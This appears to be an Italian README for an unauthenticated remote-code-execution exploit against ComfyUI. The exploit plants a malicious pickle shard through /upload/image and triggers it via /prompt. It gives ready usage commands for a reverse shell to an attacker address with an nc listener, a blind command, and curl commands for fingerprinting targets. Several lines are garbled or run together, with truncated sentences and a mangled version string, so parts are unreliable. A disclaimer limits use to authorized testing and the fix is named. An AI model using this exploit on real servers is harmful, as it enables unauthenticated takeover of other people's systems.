
Exploit non autenticato per CVE-2026-68771, una RCE tramite deserializzazione pickle in ComfyUI. Inietta uno shard appositamente creato tramite /upload/image, lo attiva tramite /prompt ed esegue comandi o apre una reverse shell.
Esecuzione di codice remota non autenticata in ComfyUI tramite il nodo LoadTrainingDataset.
LoadTrainingDataset.execute() carica gli shard del dataset dalla directory di output del server con torch.load(f) e senza weights_only=True. Su PyTorch < 2.6 (dove weights_only è False di default) un shard_*.pkl appositamente costruito esegue il suo __reduce__ pickle al caricamento (CWE-502). ComfyUI viene distribuito senza autenticazione e la route /upload/image (con type=output) scrive i byte grezzi caricati senza alcun controllo sull'estensione, quindi un .pkl può essere depositato e poi innescato con due richieste non autenticate.
0.23.0 su PyTorch < 2.68188 (non autenticata)Solo libreria standard di Python 3 — nessuna dipendenza.
# reverse shell (start a listener first: nc -lvnp 4444)
python3 exploit.py http://10.10.10.10:8188/ --shell 10.10.14.5:4444
# blind single command
python3 exploit.py http://10.10.10.10:8188/ -c 'id > /tmp/pwned'
Il comando viene eseguito sul server; il suo output non viene restituito, quindi usa --shell per una reverse shell (oppure scrivi su un percorso leggibile) per osservare il risultato.
Due richieste non autenticate:
Deposito — POST /upload/image con type=output, subfolder=training_dataset, nome file shard_0000.pkl. La route /upload/image scrive i byte grezzi (nessuna elaborazione delle immagini su quel percorso), quindi il pickle finisce tale e quale in output/training_dataset/shard_0000.pkl. Il __reduce__ del pickle restituisce (os.system, (cmd,)).
Innesco — POST /prompt con un workflow: un nodo LoadTrainingDataset (folder_name=training_dataset) collegato a un nodo di output SaveLatent. Il nodo di output forza ComfyUI a eseguire LoadTrainingDataset, che effettua il glob di e chiama:
curl -s http://10.10.10.10:8188/system_stats | python3 -c "import sys,json;print(json.load(sys.stdin)['system']['comfyui_version'])"
# 0.23.0
curl -s -o /dev/null -w '%{http_code}\n' http://10.10.10.10:8188/object_info/LoadTrainingDataset
# 200 -> vulnerable node present
torch.load(f, weights_only=True).weights_only è True di default e l'unpickler ristretto rifiuta os.system.Solo per test di sicurezza autorizzati e scopi educativi. Utilizzalo solo contro sistemi di tua proprietà o per i quali hai esplicita autorizzazione al test.
shard_*.pklwith open(shard_path, "rb") as f:
shard_data = torch.load(f) # no weights_only=True -> runs the pickle on torch < 2.6
Il __reduce__ del pickle esegue os.system(cmd) durante la deserializzazione.